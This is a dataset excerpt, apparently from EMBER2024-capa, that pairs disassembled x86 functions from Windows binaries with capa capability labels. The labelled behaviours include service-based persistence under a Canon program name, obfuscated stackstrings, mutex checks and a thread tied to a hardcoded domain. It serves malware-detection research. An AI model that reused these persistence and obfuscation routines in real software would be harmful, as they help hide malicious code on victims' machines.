joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005d60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013380
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x100181b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ebx
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push esi
mov ecx, ebx
call edx
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 8], edi
mov dword [ebp - 4], edi
mov dword [esi], vtable.CSpeakerManager.0
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
lea eax, [esi + 0x30]
mov dword [eax + 0x18], vtable.CBuffer.0
mov dword [eax + 0x24], edi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], edi
push eax
mov dword [eax + 0x28], edi
mov dword [eax + 0x2c], edi
mov dword [eax + 0x30], edi
mov dword [eax + 0x34], edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov byte [ebp - 4], 2
mov dword [esi + 0x14], edi
mov dword [0x1001a28c], esi
mov dword [esi + 0x18], ebx
mov byte [ebp + 0xf], 0xa
cmp dword [esi + 8], edi
jne 0x10005e18
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
push 1
lea edx, [ebp + 0xf]
push edx
call eax
mov eax, esi
mov dword [esi + 0x14], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10005ebc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov al, byte [ecx]
cmp al, 0xc9
je case.default.0x10005e97
movzx eax, al
cmp eax, 0xa
ja case.default.0x10005e97
movzx eax, byte [eax + 0x10005f8c]
push esi
jmp dword [eax*4 + 0x10005f74]
cmp dword [edi + 0x60], 0
je case.0x10005e97.5
mov edx, dword [ebp + 0xc]
push edx
lea eax, [edi + 0x30]
push ecx
push eax
call fcn.10005d00
pop esi
pop edi
pop ebp
ret 8
cmp dword [edi + 0x28], 0
jne case.0x10005e97.5
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea esi, [edi + 0x1c]
push edi
call fcn.10005370
cmp dword [esi + 4], 0
je case.0x10005e97.5
push 0
push 0
push esi
push 0x100056e0
push 0
push 0
call fcn.100074bb
add esp, 0x18
mov dword [esi + 0xc], eax
pop esi
pop edi
pop ebp
ret 8
cmp dword [edi + 0x28], 0
je case.0x10005e97.5
lea esi, [edi + 0x1c]
call fcn.10005710
call fcn.10005740
call dword [sym.imp.ole32.dll_CoUninitialize]
pop esi
pop edi
pop ebp
ret 8
cmp dword [edi + 0x60], 0
jne case.0x10005e97.5
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
add edi, 0x30
call fcn.100058d0
cmp dword [edi + 0x34], 0
je case.0x10005e97.5
push 0
push 0
push edi
push 0x10005c70
push 0
push 0
call fcn.100074bb
add esp, 0x18
pop esi
mov dword [edi + 0x30], eax
pop edi
pop ebp
ret 8
cmp dword [edi + 0x60], 0
je case.0x10005e97.5
lea esi, [edi + 0x30]
call fcn.10005ca0
call fcn.10005cd0
pop esi
pop edi
pop ebp
ret 8
Function at 0x10005f1f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
mov ecx, dword [ebp + 8]
mov al, byte [ecx]
cmp al, 0xc9
je case.default.0x10005e97
movzx eax, al
cmp eax, 0xa
ja case.default.0x10005e97
movzx eax, byte [eax + 0x10005f8c]
push esi
jmp dword [eax*4 + 0x10005f74]
cmp dword [edi + 0x60], 0
je case.0x10005e97.5
mov edx, dword [ebp + 0xc]
push edx
lea eax, [edi + 0x30]
push ecx
push eax
call fcn.10005d00
pop esi
pop edi
pop ebp
ret 8
cmp dword [edi + 0x28], 0
jne case.0x10005e97.5
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea esi, [edi + 0x1c]
push edi
call fcn.10005370
cmp dword [esi + 4], 0
je case.0x10005e97.5
push 0
push 0
push esi
push 0x100056e0
push 0
push 0
call fcn.100074bb
add esp, 0x18
mov dword [esi + 0xc], eax
pop esi
pop edi
pop ebp
ret 8
cmp dword [edi + 0x28], 0
je case.0x10005e97.5
lea esi, [edi + 0x1c]
call fcn.10005710
call fcn.10005740
call dword [sym.imp.ole32.dll_CoUninitialize]
pop esi
pop edi
pop ebp
ret 8
cmp dword [edi + 0x60], 0
jne case.0x10005e97.5
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
add edi, 0x30
call fcn.100058d0
cmp dword [edi + 0x34], 0
je case.0x10005e97.5
push 0
push 0
push edi
push 0x10005c70
push 0
push 0
call fcn.100074bb
add esp, 0x18
pop esi
mov dword [edi + 0x30], eax
pop edi
pop ebp
ret 8
cmp dword [edi + 0x60], 0
je case.0x10005e97.5
lea esi, [edi + 0x30]
call fcn.10005ca0
call fcn.10005cd0
pop esi
pop edi
pop ebp
ret 8

Function at 0x100065b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100065e7
cmp dword [0x10019564], eax
je 0x100065e7
cmp dword [0x1001a298], eax
jne 0x100065e7
push eax
push eax
push eax
push 0x100064b0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001a298], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
pop ebp
ret 0xc

Function at 0x100065f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0xff
push str.iamasbcx.asuscomm.com
call fcn.10007308
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0
push 0
push 0
push 0x100064b0
push 0
push 0
mov dword [0x1001955c], ecx
mov dword [0x10019560], edx
mov dword [0x10019564], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1001a298], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
pop ebp
ret

Function at 0x10006660
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100064b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
ret

Function at 0x10006ab5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100181b0]
jne 0x10006abf
repz ret
jmp fcn.10007969
Function at 0x1000b82c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100181b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10009845
and dword [ebp - 0x14], 0
cmp dword [0x1001a23c], 0
mov dword [ebp - 0x18], eax
jne 0x1000b8df
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000b987
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1000b987
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1001a23c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1001a240], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1001a244], eax
call edi
push eax
call esi
mov dword [0x1001a24c], eax
test eax, eax
je 0x1000b8df
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1001a248], eax
mov eax, dword [0x1001a248]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1000b938
cmp dword [0x1001a24c], ecx
je 0x1000b938
push eax
call esi
push dword [0x1001a24c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1000b938
test ebx, ebx
je 0x1000b938
call edi
test eax, eax
je 0x1000b92f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000b92f
test byte [ebp - 8], 1
jne 0x1000b938
or dword [ebp + 0x10], 0x200000
jmp 0x1000b96b
mov eax, dword [0x1001a240]
cmp eax, dword [ebp - 0x18]
je 0x1000b96b
push eax
call esi
test eax, eax
je 0x1000b96b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000b96b
mov eax, dword [0x1001a244]
cmp eax, dword [ebp - 0x18]
je 0x1000b96b
push eax
call esi
test eax, eax
je 0x1000b96b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1001a23c]
call esi
test eax, eax
je 0x1000b987
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1000b989
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006ab5
leave
ret
Function at 0x401160
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x46d070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x208
lea eax, [ebp - 0x20c]
mov esi, ecx
push 0
push eax
call fcn.0043a360
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.0043a360
add esp, 0x18
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x4011ce
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043598e
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x414]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x4011bd
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043598e
mov esp, ebp
pop ebp
ret
Function at 0x401220
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452708
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x46d070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x44], 0
push 1
lea eax, [ebp - 0x58]
mov byte [ebp - 0x58], 0
xorps xmm0, xmm0
mov word [ebp - 0x47], 0
push eax
movups xmmword [ebp - 0x57], xmm0
mov byte [ebp - 0x45], 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0xc
lea eax, [ebp - 0x58]
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
push 1
push 0x80
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.0040d8e0
test al, al
je 0x4012f0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
mov dword [ebp - 0x18], 0
cmovae eax, dword [ebp - 0x28]
xor ecx, ecx
mov word [eax], cx
push 7
push str.Global_
lea ecx, [ebp - 0x28]
call fcn.00405ac0
push 0xffffffffffffffff
push 0
push esi
lea ecx, [ebp - 0x28]
call fcn.00405bf0
push 0x5f
lea ecx, [ebp - 0x28]
call fcn.004025b0
push 0x28
push str.MDL_E9624365_E188_497D_A83E_9FEE5F248714
lea ecx, [ebp - 0x28]
call fcn.00405ac0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x44], eax
call esi
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
mov edi, eax
mov dword [ebp - 0x18], 0
cmovae ecx, dword [ebp - 0x28]
xor eax, eax
push 7
push str.Global_
mov word [ecx], ax
lea ecx, [ebp - 0x28]
call fcn.00405ac0
push 0x28
push str.APP_78D84DC5_5F4F_4B57_8540_D4D89617ADA8
lea ecx, [ebp - 0x28]
call fcn.00405ac0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x38], eax
call esi
cmp edi, 0xb7
jne 0x4013ab
mov esi, 1
jmp 0x4013bd
cmp eax, 0xb7
mov ecx, 2
mov esi, 0
cmove esi, ecx
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x4013d2
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.0040d960
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], 0
test eax, eax
je 0x4013fb
cmp eax, 0xffffffff
je 0x4013fb
push eax
call edi
mov eax, dword [ebp - 0x38]
test eax, eax
je 0x40140a
cmp eax, 0xffffffff
je 0x40140a
push eax
call edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043598e
mov esp, ebp
pop ebp
ret 4
Function at 0x401430
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x20019
push 0
push str.SoftwareCanonIJPLM
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
push 0x80000002
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40149a
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 8
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x4014a2
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4014b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0x20019
push 0
push str.SoftwareCanonIJPLM
push 0x80000002
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401523
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x401523
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x415230
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4151ba
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4151d8
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x415236
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x41521d
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x415226
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je fcn.00415230
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x415212
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x41519c
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x415283
dec eax
je 0x41527a
sub eax, 3
je 0x415271
mov dword [ebp - 4], 0x40
jmp 0x4152a0
mov dword [ebp - 4], 4
jmp 0x415286
mov dword [ebp - 4], 0x20
jmp 0x415286
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4152d2
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x415252
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00414ae3
mov dh, byte [ebx + 0x75ff6338]
adc al, 0x6a
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x4152de
Function at 0x4153c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ebp, 0xfffffccd
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
jmp [eax]
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00414af3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00414aa8
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.00414af3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00414aa8
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.00414ae3
salc
mov eax, ecx
pop esp
and byte [ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.00414af3
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00414aa8
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.00414ae3
jmp 0x41560f
stc
invalid
Function at 0x41b8a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452f36
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x46d070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004359c7
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004345ea
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x430e60
Capabilities:
Modify service

Disassembly:
push esi
push 0x29
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x430ec7
push esi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
test eax, eax
je 0x430ec0
push edi
push 0x40000000
push 0x464ad8
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x430eb8
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
ret

Function at 0x431070
Capabilities:
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x46d070]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.0043a360
add esp, 0xc
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareCanonIJPLM
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4310fa
push 8
lea eax, [ebp - 0x414]
push eax
push 0xb
push 0
push str.InstallDate
push dword [ebp - 0x408]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x408]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ecx, 0x3ff
mov ebx, str.Canon_Inkjet_Printer_Scanner_Fax_Extended_Survey_Program
and ax, cx
mov ecx, str.Canon___
cmp ax, 0x11
lea eax, [ebp - 0x404]
push 0x200
push eax
push 0
cmove ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4311dd
push edi
push 3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x4311dc
push esi
mov esi, 2
call fcn.00433220
test eax, eax
mov ecx, 3
lea eax, [ebp - 0x404]
push eax
cmovne esi, ecx
call dword [sym.imp.SHLWAPI.dll_PathQuoteSpacesW]
push 0
push 0
push 0x46383c
push 0
push 0
lea eax, [ebp - 0x404]
push eax
push 1
push esi
push 0x10
push 0xf01ff
push ebx
push 0x464ad8
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4311d8
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x40c], str.Collects_log_data_from_the_IJ_printer_and_manages_data_transmission.
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4311d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call ebx
push edi
call ebx
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0043598e
mov esp, ebp
pop ebp
ret